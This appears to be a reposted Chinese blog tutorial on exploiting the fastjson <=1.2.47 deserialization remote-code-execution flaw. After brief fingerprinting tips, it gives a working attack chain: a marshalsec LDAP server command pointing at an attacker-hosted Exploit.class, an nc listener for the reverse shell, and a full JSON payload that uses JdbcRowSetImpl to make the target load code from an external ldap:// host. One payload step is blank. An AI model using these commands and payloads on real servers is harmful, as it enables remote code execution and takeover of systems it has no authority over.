fastjson<=1.2.47反序列化RCE漏洞


更新:2020_01_28

介紹:fastjson是一個Java語言編寫的高性能功能完善的JSON庫。

漏洞原因: checkAutoType黑名單中可繞過

檢測方法:

第一種:

json數據{"age":"25","name":"2"},回顯正常

{"age":"25","name":"2""},多了一個雙引號,回顯報錯

例如:多一個}也一樣會報錯

第二種:

fastjson 與 jackson區別,如果請求包中的 json 如下:

{"name":"S", "age":21}
追加一個隨機 key ,修改 json 為
{"name":"S", "age":21,"zpchcbd":123}

這里 fastjson 是不會報錯的, 但是Jackson 因為強制 key 與 javabean 屬性對齊,只能少不能多key,所以會報錯,服務器的響應包中多少會有異常回顯。


利用過程:

漏洞利用文件:https://github.com/CaijiOrz/fastjson-1.2.47-RCE

攻擊機器的java版本如下:

1、開始相應的服務:

ldap服務java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻擊機器的ip/#Exploit

http服務python -m http.server 8888

2、在攻擊機上把Exploit.java編譯好的Exploit.class字節碼放在http服務的目錄中

3、利用payload如下:

4、開啟nc監聽反彈:nc -lvvp 8888,反彈shell成功


注意點:

第一點:如下jdk版本不存在漏洞

原因:java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。

第二點:Exploit.java漏洞利用文件最好用低版本的java環境編譯,因為java是向下兼容的,防止目標環境加載的時候運行報錯,最好是jdk1.6

第三點:如果是json字符串中name字段存在反序列化的情況

{"id":"1","name":"wangwei"}

那么poc就是

{
"id":"1",

"name":{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"},
    "x":{"@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":
    "ldap://fatjaon.tuq75v.ceye.io",
    "autoCommit":true
    }
}

參考文章:https://xz.aliyun.com/t/7104


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM